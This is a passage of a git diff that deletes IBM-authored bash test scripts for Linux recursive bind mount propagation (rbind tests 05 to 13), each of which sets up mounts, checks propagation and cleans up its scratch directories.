-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test05: FAILED: rbind: private child to shared parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test05: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test06 b/testcases/kernel/fs/fs_bind/rbind/test06
deleted file mode 100755
index 71efc54..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test06
+++ /dev/null
@@ -1,102 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test06} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST06***************"
-tst_resm TINFO "rbind: private child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test06 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1
-
-	check -n  parent1/child1 share1/child1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n  parent1/child1 share1/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test06: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test06: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test06: FAILED: rbind: private child to private parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test06: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test07 b/testcases/kernel/fs/fs_bind/rbind/test07
deleted file mode 100755
index c35b1e0..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test07
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test07} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST07***************"
-tst_resm TINFO "rbind: private child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test07 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1
-
-	check -n  parent1/child1 share1/child1
-
-	mount --rbind "$disk2" share2
-	mount --rbind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	#mount --rbind "$disk2" share2
-
-	mkdir parent2/child2
-	check parent2 share2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-	check -n parent2/child2 share2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n  parent1/child1 share1/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test07: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test07: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test07: FAILED: rbind: private child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test07: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test07-2 b/testcases/kernel/fs/fs_bind/rbind/test07-2
deleted file mode 100755
index 580bb0e..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test07-2
+++ /dev/null
@@ -1,69 +0,0 @@
-#!/bin/bash
-
-SETS_DEFAULTS="${TCID=test07-2} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST07***************"
-tst_resm TINFO "rbind: create slave then mount master - slave still propagates."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test07-2 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --rbind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	mount --rbind "$disk1" share2
-
-	check parent2 share2
-
-	mount --rbind "$disk2" parent2/a
-
-	check -n parent2/a share2/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test07-2: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test07-2: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/a
-	umount parent2
-	umount parent2
-	umount parent2
-
-	umount share2
-	umount share2
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test07-2: FAILED: rbind: create slave then mount master - slave still propagates."
-        exit 1
-else
-        tst_resm TPASS "rbind/test07-2: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test08 b/testcases/kernel/fs/fs_bind/rbind/test08
deleted file mode 100755
index 3aa1851..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test08
+++ /dev/null
@@ -1,103 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-
-SETS_DEFAULTS="${TCID=test08} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST08***************"
-tst_resm TINFO "rbind: private child to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test08 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1
-
-	check -n  parent1/child1 share1/child1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n  parent1/child1 share1/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test08: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test08: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test08: FAILED: rbind: private child to uncloneable parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test08: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test09 b/testcases/kernel/fs/fs_bind/rbind/test09
deleted file mode 100755
index 9b9555a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test09
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test09} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST09***************"
-tst_resm TINFO "rbind: slave child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test09 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind parent2 share2
-	mount --rbind share1 parent1/child1
-	mount --rbind "$disk1" share1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	check parent1/child1 share1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check parent2/child2/b share2/child2/b
-
-	mount --rbind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test09: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test09: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test09: FAILED: rbind: slave child to shared parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test09: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test10 b/testcases/kernel/fs/fs_bind/rbind/test10
deleted file mode 100755
index 5e24509..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test10
+++ /dev/null
@@ -1,108 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test10} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST10***************"
-tst_resm TINFO "rbind: slave child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test10 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind share1 parent1/child1
-	mount --rbind "$disk1" share1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	check parent1/child1 share1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-
-	mount --rbind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test10: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test10: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test10: FAILED: rbind: slave child to private parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test10: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test11 b/testcases/kernel/fs/fs_bind/rbind/test11
deleted file mode 100755
index d79c097..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test11
+++ /dev/null
@@ -1,117 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test11} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST11***************"
-tst_resm TINFO "rbind: slave child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test11 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind parent2 share2
-	mount --rbind share1 parent1/child1
-	mount --rbind "$disk1" share1
-	mount --rbind "$disk2" share2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	mkdir parent2/child2
-
-	check parent1/child1 share1
-	check parent2 share2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk3" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk4" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n parent2/child2 share2/child2
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test11: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test11: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/b
-
-	mount --rbind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	umount parent1/child1/a
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent2
-	umount parent2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test11: FAILED: rbind: slave child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test11: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test12 b/testcases/kernel/fs/fs_bind/rbind/test12
deleted file mode 100755
index dfe5a2a..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test12
+++ /dev/null
@@ -1,108 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test12} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST12***************"
-tst_resm TINFO "rbind: slave child to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test12 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind share1 parent1/child1
-	mount --rbind "$disk1" share1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	check parent1/child1 share1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-
-	mount --rbind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test12: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test12: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount share1
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test12: FAILED: rbind: slave child to uncloneable parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test12: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test13 b/testcases/kernel/fs/fs_bind/rbind/test13
deleted file mode 100755
index 4069741..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test13
+++ /dev/null
@@ -1,94 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test13} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST13***************"
-tst_resm TINFO "rbind: uncloneable child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test13 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --rbind parent1 share1
-	mount --rbind parent2 share2
-	mount --rbind "$disk1" parent1/child1/x
-	mkdir parent2/child2
-	mount --rbind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test13: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test13: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-
-	rm -rf parent1/child1
-	rm -rf parent2/child2
-
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "rbind/test13: FAILED: rbind: uncloneable child to shared parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test13: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test14 b/testcases/kernel/fs/fs_bind/rbind/test14
deleted file mode 100755
index 0b60334..0000000
